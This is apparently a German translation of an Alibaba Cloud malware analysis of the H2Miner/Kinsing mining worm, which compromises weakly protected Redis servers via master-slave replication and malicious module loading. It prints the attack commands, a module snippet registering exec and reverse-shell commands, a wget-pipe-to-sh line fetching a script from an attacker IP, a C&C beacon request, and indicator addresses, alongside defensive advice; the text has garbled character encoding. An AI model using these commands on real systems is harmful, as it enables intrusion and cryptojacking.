Vor einem Tag wurde einer der Server meines Projekts von einem Ă€hnlichen Wurm angegriffen. Auf der Suche nach einer Antwort auf die Frage âWas war das eigentlich?â fand ich einen groĂartigen Artikel des Alibaba Cloud Security-Teams. Da ich diesen Artikel nicht auf Habr gefunden habe, beschloss ich, ihn speziell fĂŒr euch zu ĂŒbersetzen <3
Einleitung
KĂŒrzlich entdeckte das Sicherheitsteam von Alibaba Cloud einen plötzlichen Ausbruch von H2Miner. Diese Art von schĂ€dlichem Wurm nutzt unzureichende Authentifizierung oder schwache Passwörter fĂŒr Redis als Zugang zu Ihren Systemen, synchronisiert dann sein eigenes schĂ€dliches Modul mit einem Slave ĂŒber die Master-Slave-Synchronisierung und lĂ€dt schlieĂlich dieses schĂ€dliche Modul auf die angegriffene Maschine hoch und fĂŒhrt die schĂ€dlichen Anweisungen aus.
In der Vergangenheit wurden Angriffe auf Ihre Systeme hauptsĂ€chlich durch Methoden durchgefĂŒhrt, die zeitgesteuerte Aufgaben oder SSH-SchlĂŒssel umfassten, die nach dem Login des Angreifers in Redis auf Ihrer Maschine gespeichert wurden. GlĂŒcklicherweise kann diese Methode nicht hĂ€ufig verwendet werden, da es Probleme mit der Berechtigungsverwaltung oder unterschiedliche Versionen des Systems gibt. Dennoch kann diese Methode zum Herunterladen des schĂ€dlichen Moduls direkt die Befehle des Angreifers ausfĂŒhren oder auf die Shell zugreifen, was gefĂ€hrlich fĂŒr Ihr System ist.
Wegen der groĂen Anzahl Server von Redis, die im Internet gehostet werden (fast 1 Million), empfiehlt das Sicherheitsteam von Alibaba Cloud als freundliche Erinnerung den Benutzern, keinen Zugang zu Redis aus dem Netzwerk zu gewĂ€hren und regelmĂ€Ăig die ZuverlĂ€ssigkeit ihrer Passwörter zu ĂŒberprĂŒfen sowie darauf zu achten, ob sie anfĂ€llig fĂŒr schnelle Passwortauffindung sind.
H2Miner
H2Miner ist ein Mining-Botnet fĂŒr Systeme auf Basis von Linux, das auf verschiedene Weise in Ihr System eindringen kann, einschlieĂlich fehlender Authentifizierung in Hadoop Yarn, Docker, und einer Verwundbarkeit zur AusfĂŒhrung von Remote-Befehlen in Redis (RCE). Das Botnet funktioniert, indem es schĂ€dliche Skripten und Malware hochlĂ€dt, um Ihre Daten zu minen, den Angriff horizontal auszudehnen und eine Command-and-Control (C&C)-Verbindung aufrechtzuerhalten.
Redis RCE
Pawel Toporkov teilte sein Wissen zu diesem Thema auf den ZeroNights 2018 mit. Nach Version 4.0 unterstĂŒtzt Redis die Funktion zum Laden externer Module, die es den Nutzern ermöglicht, so-Dateien, die mit C in Redis kompiliert wurden, zu laden, um bestimmte Redis-Befehle auszufĂŒhren. Diese Funktion ist zwar nĂŒtzlich, birgt jedoch eine Schwachstelle, bei der Dateien im Master-Slave-Modus ĂŒber den Fullresync-Modus mit dem Slave synchronisiert werden können. Diese kann von Angreifern verwendet werden, um bösartige so-Dateien zu ĂŒbertragen. Nach Abschluss der Ăbertragung laden die Angreifer das Modul auf die angegriffene Redis-Instanz und fĂŒhren jeden Befehl aus.
Analyse des bösartigen Wurms
KĂŒrzlich hat das Sicherheitsteam von Alibaba Cloud festgestellt, dass die Gruppe bösartiger Miner H2Miner plötzlich stark gewachsen ist. Laut Analyse sieht der gesamte Ablauf eines Angriffs folgendermaĂen aus:

H2Miner nutzt RCE Redis fĂŒr einen umfassenden Angriff. ZunĂ€chst greifen die Angreifer ungeschĂŒtzte Redis-Server oder Server mit schwachen Passwörtern an.
Dann verwenden sie den Befehl config set dbfilename red2.so um den Dateinamen zu Ă€ndern. Danach fĂŒhren die Angreifer den Befehl slaveof aus, um die IP-Adresse des Master-Slave-Replikationshosts festzulegen.
Wenn die angegriffene Redis-Instanz eine Master-Slave-Verbindung zu dem bösartigen Redis herstellt, das dem Angreifer gehört, sendet der Angreifer das infizierte Modul mit dem Befehl Fullresync zur Synchronisierung der Dateien. Die Datei red2.so wird dann auf die angegriffene Maschine hochgeladen. AnschlieĂend verwenden die Angreifer das Lademodul ./red2.so, um diese so-Datei zu laden. Das Modul kann die Befehle des Angreifers ausfĂŒhren oder eine RĂŒckverbindung (Backdoor) einleiten, um Zugang zur angegriffenen Maschine zu erhalten.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Nach der AusfĂŒhrung eines bösartigen Befehls wie / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, wird der Angreifer den Namen der Backup-Datei zurĂŒcksetzen und das Systemmodul entladen, um Spuren zu verwischen. Dennoch bleibt die Datei red2.so auf der angegriffenen Maschine. Den Nutzern wird empfohlen, auf das Vorhandensein einer solchen verdĂ€chtigen Datei im Ordner ihrer Redis-Instanz zu achten.
ZusĂ€tzlich zur Zerstörung bestimmter schĂ€dlicher Prozesse zur Ressourcenentwendung folgte der Angreifer einem schĂ€dlichen Szenario, indem er binĂ€re Schadsoftware herunterlud und ausfĂŒhrte, um . Dies bedeutet, dass der Prozessname oder der Verzeichnisname, der 'kinsing' auf dem Host enthĂ€lt, darauf hinweisen könnte, dass dieser Rechner mit diesem Virus infiziert wurde.
Laut den Ergebnissen der Reverse Engineering fĂŒhrt die Malware hauptsĂ€chlich folgende Funktionen aus:
- Herunterladen und AusfĂŒhren von Dateien
- Mining
- Aufrechterhaltung der C&C-Kommunikation und AusfĂŒhrung der Befehle des Angreifers

Verwenden Sie masscan fĂŒr externe Scans, um die Reichweite zu erweitern. DarĂŒber hinaus ist die IP-Adresse des C&C-Servers fest in das Programm eingebettet, und der angegriffene Host kommuniziert ĂŒber HTTP-Anfragen mit dem C&C-Kontaktserver, wobei die Zombie-Informationen (gehackter Server) im HTTP-Header identifiziert werden.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, wie Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Andere Angriffsmethoden

Adressen und Links, die der Wurm verwendet
/kinsing
âą 142.44.191.122/t.sh
âą 185.92.74.42/h.sh
âą 142.44.191.122/spr.sh
âą 142.44.191.122/spre.sh
âą 195.3.146.118/unk.sh
c&c
âą 45.10.88.102
âą 91.215.169.111
âą 139.99.50.255
âą 46.243.253.167
âą 195.123.220.193
Tipp
ZunĂ€chst sollte Redis nicht fĂŒr den Internetzugang geöffnet werden und mit einem sicheren Passwort geschĂŒtzt sein. AuĂerdem ist es wichtig, dass die Clients das Fehlen der Datei red2.so im Redis-Verzeichnis und das Fehlen von 'kinsing' im Dateinamen / Prozess auf dem Host ĂŒberprĂŒfen.
Quelle: habr.com
